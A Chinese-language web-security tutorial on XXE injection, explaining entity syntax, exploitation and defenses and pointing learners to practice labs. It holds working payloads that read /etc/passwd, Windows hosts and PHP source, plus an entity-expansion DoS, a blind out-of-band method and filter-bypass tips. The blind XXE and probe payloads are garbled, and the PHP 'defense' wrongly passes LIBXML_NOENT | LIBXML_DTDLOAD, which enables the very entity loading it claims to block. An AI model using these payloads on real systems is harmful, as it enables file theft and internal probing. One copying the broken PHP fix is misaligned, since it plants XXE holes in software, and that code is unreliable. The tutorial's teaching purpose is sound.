如何从一名小白成为网安大神(第二十一天)

一、学习XXE 漏洞

(一)什么是 XXE

XXE 全称 XML External Entity(XML 外部实体注入) XML 解析时允许加载外部实体文件 / 网络资源,攻击者构造恶意 XML,读取本地文件、内网探测、执行命令、DOS 攻击,这就是 XXE 漏洞。

核心前提

XML 1.0 标准支持 DOCTYPE 定义实体,实体分两种:

  1. 内部实体:写在当前 XML 内
  2. 外部实体:引用本地文件、http/ftp 协议资源

(二)XML 实体基础语法

1. 基础内部实体

复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY name "test">
]>
<root>&name;</root>

输出:<root>test</root>

2. 外部实体(读取本地文件核心)

SYSTEM 关键字加载外部资源

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>

解析时会读取 /etc/passwd 文件内容并输出到页面。

支持协议:

  • file:// 读取本地文件(最常用)
  • http:///https:// 发起内网 / 外网请求(SSRF 联动)
  • php://filter(PHP 环境专用,读取源码)
  • ftp://jar://

(三)XXE 漏洞分类

1. 有回显 XXE(直接读取文件)

恶意 XML 解析后,文件内容直接返回页面,最简单利用。

Linux 读取 passwd
复制代码
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
Windows 读取 C 盘 hosts
复制代码
<!ENTITY win SYSTEM "file://C:/Windows/System32/drivers/etc/hosts">
PHP 读取源码(php://filter)
复制代码
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">

返回 base64 编码源码,解码得到源代码。

2. 无回显 XXE(盲 XXE / Out-of-band OOB)

页面不输出文件内容,需要带外数据通道,将读取内容发送到攻击者 VPS。原理:构造外部实体引用攻击者服务器的 DTD 文件,把文件内容拼接到 URL 带出。

步骤
  1. 攻击者服务器存放恶意 dtd 文件 evil.dtd

    ">

    %send;

  2. 提交 XML 引用远程 dtd

    %dtd;
    %out;
    ]>
    test

目标服务器读取文件后,自动访问攻击者接口,日志中拿到文件内容。

3. 报错型 XXE

利用解析报错,把文件内容放在报错信息里泄露。

(四)XXE 常见攻击场景

  1. 读取敏感文件Linux:/etc/passwd、/etc/shadow、/etc/hosts、网站配置Windows:hosts、ini 配置、数据库连接文件

  2. 内网探测(SSRF) 通过 http://127.0.0.1:8080 扫描内网端口、访问内网服务

  3. DOS 拒绝服务(亿亿兽攻击) 递归定义大量实体,耗尽服务器内存

    复制代码
    <!DOCTYPE a [
    <!ENTITY x1 "xxxx">
    <!ENTITY x2 "&x1;&x1;&x1;">
    ...多层递归膨胀
    ]>
  4. 远程代码执行(仅特定环境) PHP+libxml:配合expect://协议执行系统命令;Java 低版本部分解析器支持命令执行。

(五)常见易出现 XXE 的语言 / 组件

  1. Java:DOM4J、SAX、JDOM、XStream(未关闭外部实体)
  2. PHP:SimpleXML、DOMDocument(默认开启外部实体)
  3. Python:xml.etree.ElementTree、lxml
  4. .NET:XmlTextReader 未做安全配置

(六)漏洞挖掘思路(实战找 XXE)

1. 寻找 XML 数据传输点

  • 请求头 Content-Type: application/xml
  • POST Body 直接提交 XML 数据
  • 文件上传:上传 .xml 、.xsl 解析文件
  • SOAP 接口(webservice,标准 XML 传输)
  • RSS、SVG、XML 格式文件解析功能

2. 测试 Payload 流程

  1. 先提交基础 XML 判断是否解析 DOCTYPE

    ]>

    &test;

页面输出 hello → 存在实体解析,大概率有 XXE2. 测试读取本地文件(file://)3. 无回显则使用 OOB 带外盲打

(七)XXE 防御方案(核心修复手段)

通用原则:彻底禁用外部实体、禁用 DOCTYPE

1. Java 防御

SAX 解析时关闭外部实体、DTD 加载

复制代码
// 关闭外部实体
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
2. PHP 防御

初始化 DOMDocument 时关闭实体加载

复制代码
$dom = new DOMDocument();
// 禁止加载外部实体
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
libxml_disable_entity_loader(true);
3. Python 防御

使用安全解析器,禁用外部实体:

复制代码
from lxml import etree
parser = etree.XMLParser(load_dtd=False, no_network=True)
4. .NET 防御

设置 XmlReaderSettings 禁止 DTD 与外部资源

辅助防御

  1. 过滤用户输入中的 <!DOCTYPEENTITY 关键字
  2. WAF 拦截 XXE 特征 Payload
  3. 最小权限运行服务,限制文件读取范围

(八)靶场练习推荐

  1. WebGoat XXE 章节
  2. DVWA(XML 模块)
  3. PortSwigger Web Security Academy(XXE 完整关卡,最推荐)
  4. Vulhub XXE 漏洞环境(Java/PHP 多场景)

(九)常见踩坑点

  1. 新版本 libxml/Java 解析器默认禁用外部实体,无漏洞;老版本才存在
  2. 部分环境过滤 file://,可尝试大小写绕过、编码绕过
  3. 盲 XXE 必须公网 VPS 接收带外请求,本地无法复现
  4. 读取二进制文件会乱码,PHP 环境优先用 base64 过滤编码